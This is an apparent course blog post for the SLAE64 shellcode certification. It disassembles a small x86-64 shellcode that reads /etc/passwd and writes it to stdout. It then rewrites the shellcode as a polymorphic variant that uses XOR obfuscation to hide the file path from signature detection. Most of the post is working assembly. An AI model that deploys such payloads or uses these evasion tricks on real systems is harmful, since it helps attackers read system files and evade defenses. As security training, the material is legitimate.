SLAE64 - Assignment 6.1

Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

https://www.pentesteracademy.com/course?id=7

Student ID: PA-30398

Foreword

I chose the following shellcode samples:

In this part I'll create a polymorphic version of the first shellcode.

Source Code

The files for this part of the assignment are the following:

Analysis

As mentioned previously, the first shellcode consists of reading the file /etc/passwd. At 82 bytes, it is a simple shellcode, around the length of a simple reverse shell.

Below is a snippet of code containing the assembly instructions along with some comments describing the logic in broad terms.

; JMP-CALL-POP technique to retrieve the address of
; "/etc/passwd", stored into RDI
; 1st argument of open: pointer to the file to open
jmp 0x41
pop rdi

; XOR the byte 0x41 following the string "/etc/passwd"
; this way it turns it into a string terminator (NULL byte)
xor byte [rdi + 0xb], 0x41

; syscall open
xor rax, rax
add al, 2

; 2nd argument of read: O_RDONLY (open file in read mode)
xor rsi, rsi

; call syscall open
syscall

; create a buffer of 0xfff bytes on the stack
sub sp, 0xfff

; 2nd argument of read: pointer to the memory location
; where to store the bytes read
lea rsi, [rsp]

; 1st argument of read: file descriptor from which to read
; the bytes
mov rdi, rax

; 3rd argument of read: number of bytes to read
xor rdx, rdx
mov dx, 0xfff

; call syscall read
xor rax, rax
syscall

; 1st argument of write: file descriptor where to write
; the bytes
xor rdi, rdi
add dil, 1

; 3rd argument of write: number of bytes to write
mov rdx, rax

; call syscall write
xor rax, rax
add al, 1
syscall

; call exit syscall
xor rax, rax
add al, 0x3c
syscall

call 2

; string "/etc/passwd" followed by the byte 0x41
;0x00000046      2f             invalid
;0x00000047      657463         je 0xad
;0x0000004a      2f             invalid
;0x0000004b      7061           jo 0xae
;0x0000004d      7373           jae 0xc2
;0x0000004f      7764           ja 0xb5
;0x00000051      41             invalid
First analysis of the shellcode

Overall, the shellcode can be divided in these steps:

Polymorphism

For simplicity I chose to divide the shellcode into the following assembly routines:

OpenFile

The first routine simply opens the file /etc/passwd.

global _start

section .text

_start:

OpenFile:

    xor eax, eax
    push rax

    push 0x64777373

    mov rbx, 0xcdbdc152350e17cb
    mov rcx, 0xaccdee31416b38e4
    xor rbx, rcx

    push rbx

    mov rdi, rsp

    add al, 2

    xor esi, esi
    syscall
Opening `/etc/passwd`

Instead of the JMP-CALL-POP technique, I decided to push the string to the stack and retrieve its address through the RSP register.

This allowed me to decrease the number of bytes used by the shellcode, making it smaller.

Moreover, thanks to the decrement in size, I could use some of the spare bytes to obfuscate part of the strings, e.g. /etc/passwd.

In this case, the only clear-text part is the substring sswd. If you can afford some other bytes, you could probably obfuscate that one too.

ReadFile

Since the routing for reading the bytes from /etc/passwd is quite short, I simply changed some of the instructions (to alter the resulting bytes) and their order.

ReadFile:

    sub sp, 0xfff
    mov rsi, rsp

    push rax
    pop rdi

    xor eax, eax

    cdq
    mov dx, 0xfff

    syscall
Reading `/etc/passwd`

In this case, I replaced the LEA (Load Effective Address) instruction with MOV, and replaced the next MOV with the PUSH-POP technique, which should occupy fewer bytes depending on the register used.

There's also the instruction CDQ (Convert Double to Quad), which allows me sign-extend RAX into RDX, thus clearing the latter if the former is positive.

WriteOutput

In the original shellcode, the part of the code responsible for writing the contents of /etc/passwd to the standard output can be shrinked to its half.

In fact, it clears the RDI register and increases it by 1, while doing the same operations for the RAX register, when you could simply copy RDI into RAX.

WriteOutput:

    ; call sys_write
    xor edi, edi
    inc edi
    mov rax, rdi

    syscall
Writing the contents of `/etc/passwd` to `stdout`

Exit

The last routine terminates the execution of the shellcode, exiting gracefully.

Exit:

    ; call sys_exit
    push rdi
    pop rax
    add al, 59
    syscall
Graceful exit

If you wanted to make the shellcode even smaller, you could remove this part, since it's not really necessary.